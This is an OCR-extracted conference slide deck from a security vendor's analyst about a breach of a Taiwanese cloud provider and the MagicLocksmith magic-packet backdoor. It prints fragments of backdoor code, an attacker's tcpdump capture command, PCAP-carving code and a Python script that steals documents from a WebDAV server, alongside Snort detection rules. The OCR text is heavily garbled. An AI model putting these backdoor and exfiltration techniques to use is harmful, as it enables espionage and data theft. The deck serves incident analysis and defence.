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About Me

> Malware analyst @ CHT Security
> X64/X86 Windows/Linux: .NET: Java
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Incident Overview

> A major cloud service provider in Taiwan was compromised
+ CVE-2019-19781 (Citrix ADC VPN N-day)

> Multiple malware samples discovered on compromised devices

+ MagicLocksmith and other TinyShell-based magic packet backdoors
+ ELF_PLEAD

> Credential and data exfiltration via tcpdump and improvised
custom tools

> What can we learn from this incident?
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Incident Overview

> The threat actor primarily focused on edge devices (SSL VPN,
load balancers, routers, ...)
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Why Target

—dge

Devices?

> Often directly accessible from the Internet
> No AV/MDR/EDRs
> High throughputs

— Difficult to detect anomalous connections

(c) 2025 CHT Security Co., Ltd.

\

th 3 F 2 K

CHT Security



Threat Actors

—dge

evices

ogle Cloud

Threat Intelligence

Mandiant

Suspected Chinese Threat Actors Exploiting
FortiOS Vulnerability (CVE-2022-42475)

(c) 2025 CHT Security Co., Ltd.

\

5 L E R

CHT Security



Threat Actors \/ Edge Devices

Threat Intelligence

Suspected Chinese Thr
FortiOS Vulnerability

Threat Intelligence

Fortinet Zero-Day and Custom Malware Used
by Suspected Chinese Actor in Espionage
cgle Cloud Operation

0 Cloud Mandiant
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Ivanti Connect Secure VPN Targeted in New [ation
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Threat Actors \/ Edge Devices

Threat Intelligence

Suspected Chinese Thr
FortiOS Vulnerability

Fortinet Zero-Dav and Custom Malware Used
Threat ntligence )se Actor in Espionage

lvanti Connect Secure™*—= = -
Zero-Day E|

Threat Intelligence

Threat Intelligence

Ghost in the Router: China-Nexus Espionage
Actor UNC3886 Targets Juniper Routers

March 11, 2025

Google Cloud Mand

Google Cloud Mandiant
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Threat Actors ) Edge Devices

Threat Intelligence

Suspected Chinese Thi ———— — — .
FortiOS Vulnerability) £, tinet Zero-Dav and Custom Malware Used
Threat Intelligence Se ACtor in ESpionage
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lvanti Connect Secure

pionage

|:| Insikt GI‘OUp@' uters

Executive Summary

Between December 2024 and January 2025, Recorded Future's Insikt Group identified a r;am:uaicn
exploiting unpatched internet-facing Cisco network devices primarily associated with global
telecommunications providers. Victim organizations included a United States-based affiliate of a United
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Tiny SHell (TSH)

> Open source

switch({ message[@] )

. {
> Simple code structure case GET_FILE:

ret = tshd get file( client );

+ Easy to customize h;sj{"iém
case B :

+ Runs on customized/stripped Linux ret = tshd_put_file( client );

break;
or BSD builds case RUNSHELL:
ret = tshd runshell( client );
> Basic encryption break;
default:
ret = 12;
break;
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Tiny SHell (TSH)

switch (opt) {

> TCP server mOde case 'p': // Server mode -»> listens to the specified port
server_port = atoi(optarg);
: if (!server port)
+ Binds to a port ne(*arev:
. break;
> TCP client mode
secret = optarg,;
+ Constantly tries to connect to O
case 'c': // Client mode -»> connects to the specified C2
the C2 server if (optarg == NULL) {
cb _host = CONNECT BACK_ HOST;
+ Hardcoded C2 server address } else {
cb_host = optarg;
}
break;
default: /* "?" *
usage(*argv);
break;
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Magic Packet

> Turn on/off the backdoor logic when a specitic pattern is
detected in any incoming packets

> Remain dormant and hidden from network inspection tools while
the backdoor logic is off
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Magic Packet

> Turn on/off the backdoor logic when a specitic pattern is
detected in any incoming packets

> Remain dormant and hidden from network inspection tools while
the backdoor logic is off

> An old technique that is still very effective
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Magic Packet

> Most implementations use
Snort/Suricata Rules static patterns

alert udp any any -> any any ( msg:"M Backdoor TINYSHELL deadbeef 1";
dsize:>15; content:"|44 31 3A 14 45 95 6A 73|"; offset: @; depth:8;
threshold:type limit,track by src,count 1,seconds 3600; sid:1000000; rev:1; )

alert udp any any -> any any ( msg:"M Backdoor TINYSHELL deadbeef 2";
dsize:>15; content:"|64 11 1A 34 65 B5 4A 53|"; offset: @; depth:8;
threshold:type limit,track by src,count 1,seconds 3600; sid:1000001; rev:1; )

alert icmp any any -> any any ( msg:"M Backdoor TINYSHELL uSarguuS62bKRAG1™;
content:"|f3 d5 e7 f4 e1 3 3 d5 be b4 e4 cd d4 ¢7 be cc|"; threshold:type
limit,track by src,count 1,seconds 3600; sid:100ee82; rev:1; )

alert udp any any -> any any ( msg:"M Backdoor TINYSHELL ©b333@ceb4ldlae2”;
dsize:>27; content:"|c5 c4 ec 4d|"; offset: @; depth:4; content:"|a6 04 ed 83
92 46 ce 40 9a 34 8c 7b 5a d6 e5 ed|"; offset:12; depth:16; threshold:type
limit,track by src,count 1,seconds 3600; sid:1000083; rev:1; )

Source: https://cloud.google.com
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I\/Iagic Packet in MagicLocksmith

> Evasion technique #1: dynamic magic packet pattern
+ XOR(packet[0:16], packet[16:32]) == I\/IAGIC_PATTERN

i -pcap maglc backdoor trigger[@] = EHHSSHE3D4'

: ,pcap _magic_backdoor trigger[1] = @xCA48C1EA;

: ,pcap _magic_backdoor trigger[2] = @x4889C248

: Ecap ~magic backdoor trigger[3] = @xB9D641C1 3

E ffor ( L =@; 1 <= 3; ++1 ) 7 i
g

L ' %1 = ntohl{buf->xorl[i]);

------- i %2 = ntohl(buf->xor2[i]);

if { (x2 ™ x1) != pcap magic backdoor trigger[i] )
return 1;
crc3z = crc32_8e4aB/Be( (uints t *)buf, 1289;
check = ntohl(buf->crc32sum);
return check != crc32;
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I\/Iagic Packet in MagicLocksmith

> Evasion technique #1: dynamic magic packet pattern

+ Encrypted C2 configuration in magic packets

RC4 decrypt g'

76
D3

50 19 51
©A DA 85

EE
pL

95 42
DD 83

E3
29

8E
Co6

a3
OA

ED 33
2F 7B

18 16 BA A4
91 C@ FB 65

57
69
7C
B
9B
4C

20 31 57
B5 39 84
9A F8 7E
47 50 02
21 59 FB
31 7F 29

29
52
97
CcA
L C
1E

7A B5
BF B5
14 83
EE 85
9B AC
17 eC

D5
46
8E
2A
47

2B
31
2A
95
6C

89
F5
E2
31
91

5C 34
7A 11
ESpol
6F @A
7A E6

D3 69 AE 58
31 64 (5 DB
9E 83 FB DB
1A E7 7B 62
10 E7 1D 6F

18 |86

10

C7 OE

CRC32

Encrypted
C2 config

This is also the
magic pattern!

Mode

AA BB CC DD|31

31 39 33 @0 e
02 00 00 00 00
00 00 00 00 00

ee oo ee e o1 BB| Port|ee ee

33 39
00 00
00 00
00 00

2E

31

38

00 00 00
02 00 00
00 00 00

30 2E
00 00
00 00
00 00

31 39 38 2E
00 00 00
00 00 00

00 00

0e
0o
00 00 00 00
00 00 00 00

00 00 00 00 00 00 00 #e|Zeroes (for verification)

|

3

- 1

8 0 .

9

8
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Tiny SHell (TSH)

> Open source switch({ message[@] )
. {
> Simple code structure case GET_FILE:
ret = tshd get file( client );
break;

case PUT _FILE:

ret = tshd put file( client );

break;
case RUNSHELL:

ret = tshd runshell( client );
> Basic encryption break;

default:
ret = 12;
break;
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(o ZeCsOAmrL R 2t e m=in-ISE

Controller (C2) Implant (Backdoor)
(Seeds (1; ( )
= SHA1(timeval | pid) Seeds
AES keys (2) AES keys (2)
= SHA1(password | seeds) = SHAl(secret | seeds)
Handshake (3) If challenge
= AES_enc<key>(challenge) | Handshake | —- Ags dec<key>(handshake)
Ye% No
Task :
4):
Zao (4] | Run task ()§ Abort
e 5= AES enc<key>(task) " Resuit | § )
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C2 Communication in TSH
Controller (C2) Implant (Backdoor)

Seeds (1) E
= SHA1(timeval | pid) Seeds:

-------------------

AES keys /

--------------------

One may intercept the seeds and derive the AES keys
with the password recovered from‘a'sample
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(o ZeCsOAmrL R 2t e m=in-ISE

> Fach command has a dedicated session

> Each session has its own keys
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(o ZeCsOAmrL R 2t e m=in-ISE

> Fach command has a dedicated session
> Each session has its own keys

> Analysts may decrypt the backdoor traffic with a packet sniffer

g 5 L E R

(c) 2025 CHT Security Co., Ltd. N®' CHT Security




C2 Communication in MagicLocksmith

> Anti-analysis technique #1: custom asymmetric key exchange
+ Hardcoded secp521r1 server public key

+ Shared secret cannot be derived from packet data

pubkey x = "Bcacf87644ee3009991789984a69a3206b3ba774599bc95T19328443c66776b78905T90adc4077bbB6b52687082d9853ca2c7e568b3eb”
"c484c577c380emBdc53e652"

pubkey y = "6eff2e2431361195b15T63e2c3bd1b2a512e63138d@acbb71T6a13b@49c5141a1738707d7c67bb7b33d81Tb5178a7dc51ba%d7e646c”
"@5f927ecad2@B4fa®oceddc”;
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Controller (C2)

Derive

Derive
fo= =

Symmetric key
P

\.

\

Sends

MagicLocksmith
4 A

Generate .
<K.,p.> M
Generate

(2)
<K, , P>

Shared secret
D €)

(c) 2025 CHT Security Co., Ltd.

(5)

~
~~~~~~~~~~
SS
\.

Public point
P,=P +pB ¥

Symmetric key

A ©

K — private key
P — public key / EC point

--------- Hardcoded secp521r1
C2 public key
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C2 Communication in MagicLocksmith

> Evasion & anti-analysis technique #2: custom Rijndael parameters

+ Custom S-box modulus polynomial & aftine matrix

S—box: Xpyr = A X5 + ¢ mod m

Constants in AES
m=x%+x*+x3+x+1
A=x"+x3+x*+x+1
c=x+x>+x+1

W rEEREE
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C2 Communication in MagicLocksmith

> Evasion & anti-analysis technique #2: custom Rijndael parameters

+ Custom S-box modulus polynomial & aftine matrix

S—box: Xpyr = A X5 + ¢ mod m

Constants in AES Constants in MagicLocksmith
m=x%+x*+x3+x+1 m =x8+x*+x3+x?+1
A=x"+x3+x+x+1 A =x+x>+x*+x3+x
c=x°+x>+x+1 ' =x"+x*+x+1
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C2 Communication in MagicLocksmith

> Evasion & anti-analysis technique #2: custom Rijndael parameters

+ Custom S-box modulus polynomial & aftine matrix

S—box: Xpyr = A X5 + ¢ mod m

Constants in AES Constants in MagicLocksmith
m=x3+x*+x3+x+1 ‘
A=x"+x>+x*+x+1

c=x+x>+x+1 i

_BOOL4 modded aes setup table 8859BCC() |

1 e

return malw_custnm_aes_table_gen_EBEEC??|@K1D¥ @x1D, {@xF4931 ©x8070B05u, ©)
&& malw custom aes table gen 8@59C77(}

------------

s 7K
\g th # 5 %7 B B

CHT Security



C2 Communication in MagicLocksmith

> Evasion & anti-analysis technique #2: custom Rijndael parameters

+ Custom MixColumns coefficients

a(x) =3x>+x*+x+2

mod x* + 1
a l(x) = 11x3 + 13x% + 9x + 14 ( )

Constants in AES {

a'(x) =8x3+7x*+11x +5

mod x* + 1
a1t(x) = 7x3 4+ 13x% + 4x + 15 ( )

Constants in MagicLocksmith {

W rEERER
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C2 Communication in MagicLocksmith

> Evasion & anti-analysis technique #2: custom Rijndael parameters
+ Custom S-box modulus polynomial & aftine matrix

+ Custom MixColumns coefficients

a(x) =3x>+x*+x+2

i mod x* + 1
Constants in AES {a‘l(x) — 1123 + 1322 + 9% + 14 ( )
ia'(x) =8x3 + 7x2 + 11x + 5 -mmmm
Constants in MagicLocksmith ,algyi)8x-l;7x+211x+5 !(mod x* + 1)
a (o) = 7x” F 13x7 + dx £ 150

1

1

1

1 -

_BOOL4 modded aes setup_table 8059BCC() i i
1

{ ’ ]

return malw_custom_aes_table gen 8859C77(@x1D, 6x1D, BdeéE,f@iEﬁ?éE@ga} e)
&% malw_custom_aes table gen 8059C77(6x1D, ©x1D, BxF4§§?1Bx?BD@4@FqL 1) 1= 8;

¥

&S %7 H K
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Blens

> tcpdump goes a long way

-xfiltration

PCAP files found on the C2 open directory server

£ Wl51.pcap
£ W52.pcap
£ W53.pcap
£ 4. peap
£ I-20240130.pcap

£ I-202401302008.pcap

372024 10:44 AM
3/7/2024 10:56 AM
3/7/2024 11:11 AM
3/7/2024 11:07 AM
3/7/2024 9:38 AM

3772024 %34 AM

PCAP File

PCAP File

PCAP File

PCAP File

PCAP File

PCAP File

36 KB
1,117 KB
8,072 KB
2,384 KB

81 KB

5,901 KB

(c) 2025 CHT Security Co., Ltd.
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Data Exfiltration

> tcpdump goes a long way

. R EEea BE 8080 BB:00:00 00:00:00 6B:88:88 FILEINFD
TLSv1. 2
TCP
TLSv1. 2
TLSw].:
TCP
TLSv]1. 2
TLSv1.:
TCP
TLSw]1. 2
TLSwv1..
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TCP

TLSv]1. 2
TLSv]1. 2
TCP

TLSw]1. 2
TLSv]1. 2
TCP

TLSw]. 3
TLSv1..
TCP

TLSw1. 2
TLSv1..

Iy
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187 tcpdump -nni any -s8 -w fvar/tmp/ -282498130.pcap host
835 IN s1/tmm3 : Application Data
96 OUT s1/tmm3 : 443 - 6648 [ACK] !
OUT s1/tmm3 : Application Data
IN s1/tmm3 : Application Data
OUT s1/tmm3 : 443 - 6648 [ACK] °
OUT s1/tmm3 : Application Data
IN s1/tmm3 : Application Data
OUT s1/tmm3 : 443 » 6648 [ACK] !
OUT s1/tmm3 : Application Data
IN sl1/tmm3 : Application Data
OUT s1/tmm3 : 443 > 6648 [ACK]
OUT s1/tmm3 : Application Data
IN s1/tmm3 : Application Data
OUT s1/tmm3 : 443 » 6648 [ACK] !
OUT s1/tmm3 : Application Data
IN s1/tmm3 : Application Data
OUT s1/tmm3 : 443 - 6648 [ACK] °
OUT s1/tmm3 : Application Data
IN s1/tmm3 : Application Data
OUT s1/tmm3 : 443 - 6648 [ACK] °
s1/tmm3 : Application Data
s1/tmm3 : Application Data
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L
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Data Exfiltration

> The threat actor exfiltrated PCAP dumps and distilled the stolen
data likely in their own environment

if ( 'memcmp(&raw _pcap file[i], client source mac, 8u) )

s

(c) 2025 CHT Security Co., Ltd.

N

else if ( !memcmp(&raw_pcap file[i], citrix_mac, 6u)
&& !strcmp(&raw pcap file[i + 12], IPV4 _header) )

Key, Bse

{

}

if ( dst port == 86880 )

memset(s, @, Ox18u);
sprintf(s, "%d %d", src_port, 8080);
fp = fopen(s, "ab+");
if ( 1p )
{
printf(“"can not open result file!\n");
exit(0);
I
j = fwrite(&raw_pcap file[i + 8], 1lu, pkt _data len, fp);
fclose(fp);

1 += 3;

s 7K
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Data Exfiltration

> Custom Golang-based tools were used to extract credentials and
interact with the victim's WebDAYV server

Custom WebDAV clients

Credentials extracted et s i ANt s
fill main__ptr_UserInfo_AuthByToken_funcl
fro m PCAP d u m ps E main_fileFilter

{"Cookie: auth":" E main_getFilelist
{rcooere, h_ o otre
{"X-Humyo-ClientId":" main_listFile_funcl
£"X-Client-IP": " N , HTTP-Status”: "HTTP/1.0 B main_getrie

{"Cookie: auth":" E main_getFile_funcl

{"Proxy-Authorization":" Basic Pa sSseée d 'to ra S
{Proyanthorizstion i N Passedfo o main_walyDeepvear

{"Cookie: auth":" ma!n_walkE}'DEEpTear_funcl
{"Cookie: auth":" main_workThread
{"Cookie: auth":" E main_Readlines
I"¥-Humyo-ClientId”:" Ed main_Readlines_funcl

{"Cookie: auth":" main_doScan
{"Cookie: auth":" main_doScan_funci
main_main

ﬁ main_init

main_getFilelist_funci

g 5 L E R
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Data Exfiltration

if file len < 1824*1824%58:

Sl iseing Python script that traverses e rtoonlolysags0r N BEE et ROSHED
victim’'s WebDAV server and steals :::iﬁ:::::;zz:::giigf"
newfilename.count(’ ") or

COnfldent|a| documents ((newfilename.count(" ") or

newfilename. count(" ')} or
newfilename. count(" ")y or
newfilename.count(’ 1) and

(newfilename.endswith( ' .pptx") or
newfilename.endswith( " .vsdx") or
newfilename.endswith( " .vsd') or
newfilename.endswith( ' .xlsx") or
newfilename.endswith( ' .docx") or
newfilename.count('.cfg"') or
newfilename.count(".conf"})):

savepath = "./data/d"

if not os.path.exists({savepath):

os.makedirs{savepath)

try:
self.petFile(href,savepath)

except:
print "get file error:",newfilename
pass

g 5 L E R
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Why Target

—dge

Devices?

> Often directly accessible from the Internet
> No AV/MDR/EDRs
> High throughputs

— Difficult to detect anomalous connections

> Multiple services (SSL-VPN, WAF, ...) bundled in one device

— Breach one and capture them all!
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Attribution

Magic packet constants used to configure
the operation mode in a BIFROST sample

magic_type id = magic_ pkt payload-*magic_type id;
if ( (magic_type id == 8x23456789
|| magic_type id == ©x8978ABDC

cont_magic type = ntohl(maglc c2 paham5—>data-mode_id); || magic_type_id ——‘555555555@
if ( conf_magic_type =={@x2ABBCCDD]) || megic_type_id == lox2neaccp)
{ &8 magic pkt payload->c2 port
conf_magic_type = 8; f/ @x2ABBCCDD => server mode &% (magic_type_id != @x8978ABDC || strlen(magic_pkt_payload-»>c2_host)) )
} {
elza EnterCriticalSection(&mutex_103F2FAR);
{ magic_type 163F2B54 = magic_ pkt payleoad->magic_type id;
if ( conf_magic_type I=.5§EEEEEEﬁE-) '/ OxAABBCCDD => client mode €2_host = magic_pkt_payload->c2_host;
goto BAD MAGIC_TYPE_RETRY; Bad ?D
conf_magic_type = 1;
} —MABSE_EYP ’ c = *¥c2 host++;

5 : c2 host[c2 host 183F2B58 - magic_ pkt payload->c2 host - 1] =
Magic packet constants used to configure }

. . : : while ( c );
the operation mode in MagiclLocksmith e

init flag 183F2F88 = 1;
c2_port_183F2B8B8 = c2_ port;
LeaveCriticalSection(&mutex 103F2FA0);

(From an unrelated incident)

g 5 L E R
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Attribution

Modified RC4 XOR block in BIFROST

J = swap[(i + 1)];
k = (k + 3); // © := 1 - ptr;
swap[(i + 1)] = swap[k]; /f/ Likely a compiler optimization artifact
swap[k] = j; J = sbox[(ptr + off)];
j = swap[(swap[(1 + 1)] + j)1; k= (3 + k);
if ( mode < @ ) sbox[(ptr + off)] = sbox[k];
. { sbox[k] = 3;
MOdIfled RC4 XOR blOCk :l M CIEI't[l]_; 7 = SbDK[(j + Sbﬂl}{[(ptr" + D'F'F:}]:]']_;
in MagicLocksmith dec_ch = j + mode; if ( (mode & @x88) != 0 )
¥ *ptr = mode + (¥ptr * z);
else else
1 % — A [ E c
dat[i] += mode; . _'E:EP z * (¥ptr + mode);
dec_ch = j ~ dat[i]; E ’
¥ =~ —
dat[i] = dec_ch; (From an unrelated incident)

W FEEREE
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Attribution

I\/Iool|f|eo| RC4 XOR block in BIFROST

j = swap[(i + 1)];
k= (k + 3); [/ off := 1 - ptr;
swap[(i + 1)] = swap[k]; _ix'z'__-. : ’""-'_'_zr optimizati artifact
swap[k] = j; Jj = Sbm{[(ptr* + off)];
j = swap[(swap[(1 + 1)] + j)1; k= (3 + k);
if ( mode < @ ) sbox[(ptr + off)] = sbox[k];
. { sbox[k] = 3;
MOdIfled RC4 XOR blOCk :l Mo CIEI't[l]_; 7 = SbDK[(j + Sbﬂl}{[(ptr" + D'F'F:}]:]']_;
in MagicLocksmith dec_ch = j + mode; if ( (mode & @x88) != 0 )
¥ *ptr = mode + (¥ptr * z);
else else
1 ® — A c
dat[i] += mode; . _'E:EP z * (¥ptr + mode);
dec_ch = § ~ dat[i]; E ;
¥ - —
dat[i] = dec_ch; (From an unrelated incident)

BlackTech?
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| essons Learned - For Users

> Apply security patches ASAP!
+ CVE-2019-19781 was a N-day at the time of the breach

+ Set up a protocol to handle update procedures
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| essons Learned - For Users

> Avoid weak/reused passwords

+ Bruteforcing tools were also found on the C2 open directory server
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| essons Learned - For Users

> LAN honeypots may help

+ The incident was uncovered because of anomalous intranet traffic
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| essons Learned - For Users

> Confidential data transter should be securely encrypted and
signed, even within LAN

+ tcpdump wouldn't have worked if the TLS certificate was deployed on the
WebDAV server

+ Use a dedicated WAF device for confidential services instead of a single
appliance that runs everything (SSL VPN + WAF + load balancing + ...)
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LasSSERS Leamed — For Manutacturers

> Privilege separation between different services

+ A vulnerability in SSL VPN or web interfaces shouldn’t have compromised
the whole device
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LasSSERS Leamed — For Manutacturers

> Provide on-demand integrity validation tools
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LasSSERS Leamed — For Manutacturers

> Provide low-level access or forensic tools to licensed users
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L essons Leamed — For Manutacturers

> Privilege separation between difterent services
> Provide on-demand integrity validation tools

> Provide low-level access or forensic tools to licensed users

> Log and report privileged operations and command executions
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Thank you!

Q&A

https://www.chtsecurity.com/?lang=en All opinions are not of my employer(s).

CHT Security Co., Ltd. X @Tangent65536
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